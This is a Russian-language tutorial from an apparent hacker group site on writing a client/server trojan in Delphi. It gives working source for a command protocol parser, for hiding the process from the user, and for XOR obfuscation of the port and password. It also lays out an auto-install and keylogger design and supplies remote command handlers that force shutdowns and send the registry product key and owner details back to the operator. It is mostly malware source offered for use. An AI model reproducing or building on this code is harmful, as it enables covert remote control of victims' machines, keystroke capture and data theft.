Теория написания троянов
В этой статье описана теория написания троянов(client/server) на
Delphi, работающих по протоколу TCP/IP.
Для начала, я считаю, надо разработать протокол обмена. Вы
должны выбрать между побайтовой или построковой работой. Я приведу пример
построкового протокола обмена:
Где: 1. com. - команда 2. sig. -
сигнатура 3. par. - параметр 4. [ ] - разделитель (разделителем
может быть любой символ, который точно не встретится в самой команде или в
параметре)
А вот пример реализации такого протокола обмена:
function _parser(str:string):tstringlist;
var
s : tstringlist;
i : integer;
st : integer;
sp : boolean;
begin
st := 0;
sp := true;
s := tstringlist.create;
s.add('');
for i := 1 to length(str) do
begin
if str[i] = '+' then
begin
if not sp then
begin
inc(st);
s.add('');
end;
sp := true;
end
else
begin
sp := false;
s.strings[st] := s.strings[st] + str[i];
end;
end;
if sp then s.delete(s.count-1);
result:=s;
end; Эта функция делит переданную ей строчку на
слова(разделителем здесь является символ +). Например, если функции
передать: abc+1000+abc+abc, то в ответе мы получим tstringlist такого вида: abc
1000
abc
abc Таким образом при получении какой-либо строки мы передаем
ее параметром в функцию _parser, а ответом
функции будет трафик разобранный на части согласно данному протоколу
обмена. Что означает первая часть протокола обмена(команда), думаю, не
надо объяснять. Я считаю, что лучше не писать троянов, работающих по
нескольким портам(одновременно). Из-за этого в данном протоколе обмена
есть такая вещь, как сигнатура. Люди пишут трояны работающие на нескольких
портах, чтобы распределить команды по какому-либо признаку. Например,
первый порт - команды работы с файлами, второй порт - остальные команды.
При помощи сигнатуры тоже можно разделить все команды на несколько типов.
Например, сигнатуре 1 соответствует перечень команд работы с файлами, а
сигнатуре 2 соответствует перечень других команд. Количество параметров
для каждой команды может быть разным, можно даже сделать команды с
переменным количеством параметров. Разделитель - это некий барьер
отделяющий составляющие части протокола обмена.
После реализации протокола обмена можно сразу сделать троян невидимым
для "постороннего взгляда". Есть много способов исполнения этой задачи.
Приведу один из них, на мой взгляд, самый простой: type
tregisterserviceprocess = function (dwprocessid,dwtype:dword) : dword;
stdcall; А при создании формы пишем: var
hndl : thandle;
registerserviceprocess : tregisterserviceprocess;
begin
hndl:=loadlibrary('KERNEL32.DLL');
registerserviceprocess:=getprocaddress(hndl,'RegisterServiceProcess');
registerserviceprocess(getcurrentprocessid,1);
freelibrary(hndl); Да, и не забудьте в самом проекте
указать: application.showmainform:=false;
А вот механизм инсталляции в систему, если его написать слишком рано,
может затруднить отладку трояна. Все значения, такие как: порт, пароль и
т.п. должны быть в зашифрованном виде. Для этой цели советую не
использовать очень сложные алгоритмы шифрования. Если кому-то понадобится
эта информация, то он все равно ее получит. Можно использовать, например,
такой алгоритм шифрования: function crypt(str:string):string;
var
len : integer;
a : integer;
b : integer;
c : integer;
d : integer;
r : string;
begin
d := 13;
r := '';
len := length(str);
for a := 1 to len do
begin
b := ord(str[a]);
b := b - 32;
c := b xor d;
c := c + 32;
r := r + chr(c);
d := d + 1;
end;
result := r;
end; Я могу расшифровать информацию, зашифрованную этим
алгоритмом, в уме, но все равно для своей задачи он пригоден. Также можно
использовать его и для шифрования трафика, но тогда придется чуть изменить
схему трояна: сначала трафик передается функции crypt, а потом функции _parser.
После реализации протокола обмена и шифрования значений можно
переходить к самому трояну. Я обычно пишу примерно по такой схеме:
Как видите, при запуске, троян становится
невидимым, потом он инсталлируется в систему и переходит в состояние
ожидания, но отдельно висит offline keylogger, который периодчески
сохраняет свой буфер в укромное место. Кроме keylogger ещё ping модуль
висит, всегда готовый ответить на запрос. При получении некоего трафика он
проходит через _parser модуль, который ещё определяет есть ли это то, что
надо, или это просто неправильный запрос не от клиента. Если пароль введен
правильно, то последующий трафик сразу идет на командный модуль. Некоторые
модули на схеме связаны не только с основным, но и командным модулем
потому, что, например, модуль remote ping включается только через команду,
а keylogger высылает записанные им клавиши тоже только при поступлении
соответствующей команды.
На самом деле это упрощенная схема, сюда можно ещё много чего добавить,
но это уже ваше дело. А теперь я хотел бы немного отойти от теории, и
чуть-чуть приблизиться к практике. Вот примеры некоторых команд:
Это пример команды messagebox. Я не буду объяснять значение
всех переменных т.к. это всего лишь пример и здесь итак все понятно.
_com - команда
_data - ответ функции _parser
const
_line = #13+#10;
_icon : array [0..4] of integer=(0,mb_iconexclamation,
mb_iconinformation,mb_iconstop,mb_iconquestion);
############################################################
if _com = 2 then
begin
if _data.count = 6 then
if (strtoint(_data[5]) = 0) or
(strtoint(_data[5]) = 1) or
(strtoint(_data[5]) = 2) or
(strtoint(_data[5]) = 3) or
(strtoint(_data[5]) = 4) then
begin
if _data[2] = '1' then
begin
if messagebox(0,pchar(_data[3]),pchar(_data[4]),
mb_ok + _icon[strtoint(_data[5])]) <> 0 then
begin
socket.sendtext(_name+' : true {2,1,'+_data[5]+'}'+_line);
socket.sendtext(_name+' : ok {2,1,'+_data[5]+'}'+_line);
end;
end;
if _data[2] = '2' then
begin
if messagebox(0,pchar(_data[3]),pchar(_data[4]),
mb_okcancel + _icon[strtoint(_data[5])]) = idok then
begin
socket.sendtext(_name+' : true {2,2,'+_data[5]+'}'+_line);
socket.sendtext(_name+' : ok {2,2,'+_data[5]+'}'+_line);
end else
begin
socket.sendtext(_name+' : true {2,2,'+_data[5]+'}'+_line);
socket.sendtext(_name+' : cancel {2,2,'+_data[5]+'}'+_line);
end;
end;
if _data[2] = '3' then
begin
if messagebox(0,pchar(_data[3]),pchar(_data[4]),
mb_yesno + _icon[strtoint(_data[5])]) = idyes then
begin
socket.sendtext(_name+' : true {2,3,'+_data[5]+'}'+_line);
socket.sendtext(_name+' : yes {2,3,'+_data[5]+'}'+_line);
end else
begin
socket.sendtext(_name+' : true {2,3,'+_data[5]+'}'+_line);
socket.sendtext(_name+' : no {2,3,'+_data[5]+'}'+_line);
end;
end;
if _data[2] = '4' then
begin
k := messagebox(0,pchar(_data[3]),pchar(_data[4]),
mb_abortretryignore + _icon[strtoint(_data[5])]);
if k = idabort then
begin
socket.sendtext(_name+' : true {2,4,'+_data[5]+'}'+_line);
socket.sendtext(_name+' : abort {2,4,'+_data[5]+'}'+_line);
end else
if k = idretry then
begin
socket.sendtext(_name+' : true {2,4,'+_data[5]+'}'+_line);
socket.sendtext(_name+' : retry {2,4,'+_data[5]+'}'+_line);
end else
if k = idignore then
begin
socket.sendtext(_name+' : true {2,4,'+_data[5]+'}'+_line);
socket.sendtext(_name+' : ignore {2,4,'+_data[5]+'}'+_line);
end;
end;
if _data[2] = '5' then
begin
k := messagebox(0,pchar(_data[3]),pchar(_data[4]),
mb_yesnocancel + _icon[strtoint(_data[5])]);
if k = idyes then
begin
socket.sendtext(_name+' : true {2,5,'+_data[5]+'}'+_line);
socket.sendtext(_name+' : yes {2,5,'+_data[5]+'}'+_line);
end else
if k = idno then
begin
socket.sendtext(_name+' : true {2,5,'+_data[5]+'}'+_line);
socket.sendtext(_name+' : no {2,5,'+_data[5]+'}'+_line);
end else
if k = idcancel then
begin
socket.sendtext(_name+' : true {2,5,'+_data[5]+'}'+_line);
socket.sendtext(_name+' : cancel {2,5,'+_data[5]+'}'+_line);
end;
end;
if _data[2] = '6' then
begin
if messagebox(0,pchar(_data[3]),pchar(_data[4]),
mb_retrycancel + _icon[strtoint(_data[5])]) = idretry then
begin
socket.sendtext(_name+' : true {2,6,'+_data[5]+'}'+_line);
socket.sendtext(_name+' : retry {2,6,'+_data[5]+'}'+_line);
end else
begin
socket.sendtext(_name+' : true {2,6,'+_data[5]+'}'+_line);
socket.sendtext(_name+' : cancel {2,6,'+_data[5]+'}'+_line);
end;
end;
exit;
end;
end;
Пример команды exitwindows:
if _com = 6 then
begin
if _data.count = 3 then
begin
if _data[2] = '1' then
begin
socket.sendtext(_name+' : true {6,1}'+_line);
exitwindows(ewx_force,1);
end else
if _data[2] = '2' then
begin
socket.sendtext(_name+' : true {6,2}'+_line);
exitwindows(ewx_logoff,1);
end else
if _data[2] = '3' then
begin
socket.sendtext(_name+' : true {6,3}'+_line);
exitwindows(ewx_poweroff,1);
end else
if _data[2] = '4' then
begin
socket.sendtext(_name+' : true {6,4}'+_line);
exitwindows(ewx_reboot,1);
end;
if _data[2] = '5' then
begin
socket.sendtext(_name+' : true {6,5}'+_line);
exitwindows(ewx_shutdown,1);
end;
exit;
end;
end;
Сбор некоторых сведений о системе:
if _com = 7 then
begin
if _data.count = 2 then
begin
_inf := tregistry.create;
_inf.rootkey:=hkey_local_machine;
if _inf.openkey('software\microsoft\windows\currentversion',true)
= true then
st := _inf.readstring('Version')
else
st := 'unknown';
socket.sendtext(_name+' : system : '+st+' {7}'+_line);
_inf.closekey;
if
_inf.openkey('hardware\description\system\centralprocessor\0',true)
= true then
st := _inf.readstring('vendoridentifier')
else
st := 'unknown';
socket.sendtext(_name+' : processor : '+st+' {7}'+_line);
_inf.closekey;
if _inf.openkey('config\0001\display\settings',true) = true then
st := _inf.readstring('resolution')
else
st := 'unknown';
socket.sendtext(_name+' : resolution : '+st+' {7}'+_line);
_inf.closekey;
if _inf.openkey('config\0001\display\settings',true) = true then
st := _inf.readstring('bitsperpixel')
else
st := 'unknown';
socket.sendtext(_name+' : bits per pixel : '+st+' {7}'+_line);
_inf.closekey;
if _inf.openkey('software\microsoft\windows\currentversion',true)
= true then
st := _inf.readstring('systemroot')
else
st := 'unknown';
socket.sendtext(_name+' : system root : '+st+' {7}'+_line);
_inf.closekey;
if _inf.openkey('software\microsoft\windows\currentversion',true)
= true then
st := _inf.readstring('productkey')
else
st := 'unknown';
socket.sendtext(_name+' : product key : '+st+' {7}'+_line);
_inf.closekey;
if _inf.openkey('software\microsoft\windows\currentversion',true)
= true then
st := _inf.readstring('productname')
else
st := 'unknown';
socket.sendtext(_name+' : product name : '+st+' {7}'+_line);
_inf.closekey;
if _inf.openkey('software\microsoft\windows\currentversion',true)
= true then
st := _inf.readstring('programfilespath')
else
st := 'unknown';
if st = '' then
begin
_inf.closekey;
if _inf.openkey('software\microsoft\windows\currentversion',true)
= true then
st := _inf.readstring('programfilesdir')
else
st := 'unknown';
end;
socket.sendtext(_name+' : programfiles path : '+st+' {7}'+_line);
_inf.closekey;
if _inf.openkey('software\microsoft\windows\currentversion',true)
= true then
st := _inf.readstring('registeredorganization')
else
st := 'unknown';
socket.sendtext(_name+' : registered organization : '+st+'
{7}'+_line);
_inf.closekey;
if _inf.openkey('software\microsoft\windows\currentversion',true)
= true then
st := _inf.readstring('registeredowner')
else
st := 'unknown';
socket.sendtext(_name+' : registered owner : '+st+' {7}'+_line);
_inf.closekey;
if _inf.openkey('software\microsoft\windows\currentversion',true)
= true then
st := _inf.readstring('sm_accessoriesname')
else
st := 'unknown';
socket.sendtext(_name+' : accessories name : '+st+' {7}'+_line);
_inf.closekey;
if _inf.openkey('software\microsoft\windows\currentversion',true)
= true then
st := _inf.readstring('versionnumber')
else
st := 'unknown';
socket.sendtext(_name+' : version number : '+st+' {7}'+_line);
_inf.closekey;
if _inf.openkey('software\microsoft\windows\currentversion',true)
= true then
st := _inf.readstring('wallpaperdir')
else
st := 'unknown';
socket.sendtext(_name+' : wall paper dir : '+st+' {7}'+_line);
_inf.closekey;
if _inf.openkey('software\microsoft\windows\currentversion',true)
= true then
st := _inf.readstring('productid')
else
st := 'unknown';
socket.sendtext(_name+' : product id : '+st+' {7}'+_line);
_inf.closekey;
if _inf.openkey('software\microsoft\windows\currentversion',true)
= true then
st := _inf.readstring('otherdevicepath')
else
st := 'unknown';
socket.sendtext(_name+' : other device path : '+st+' {7}'+_line);
_inf.closekey;
if _inf.openkey('software\microsoft\windows\currentversion',true)
= true then
st := _inf.readstring('mediapath')
else
st := 'unknown';
socket.sendtext(_name+' : media path : '+st+' {7}'+_line);
_inf.closekey;
_inf.destroy;
exit;
end;
end;
Проставление приоритета своему процессу:
if _com = 14
then
begin
if _data.count = 2 then
begin
if pr = false then
begin
processid := getcurrentprocessid;
processhandle :=
openprocess(process_set_information,false,processid);
setpriorityclass(processhandle,realtime_priority_class);
threadhandle := getcurrentthread;
setthreadpriority(threadhandle,thread_priority_time_critical);
socket.sendtext(_name+' : true (on) {14}'+_line);
pr := true;
end
else
begin
processid := getcurrentprocessid;
processhandle :=
openprocess(process_set_information,false,processid);
setpriorityclass(processhandle,normal_priority_class);
threadhandle := getcurrentthread;
setthreadpriority(threadhandle,thread_priority_normal);
socket.sendtext(_name+' : true (off) {14}'+_line);
pr := false;
end;
exit;
end;
end; Это самые простые примеры, указывающие на то, как это
должно быть. А чтобы вы не ломали себе голову, какие команды реализовать,
небольшой список функций для среднего трояна без наворотов можно
посмотреть здесь.
Ну вот вроде и все. Спасибо за внимание.
Также прилагаются исходные тексты модулей: _parser(unit) (скачано 1592 раз) _crypt(unit) (скачано 1473 раз) _hide(unit) (скачано 1473 раз) Также, можно скачать
пакет целиком, вместе с самой статьей, исходниками и т.д. Скачать можно здесь (скачано 3203 раз)
XOR xor(at)uinc.ru uinC
Member [c]uinC [c]mechanicalanimals [c]overkill
|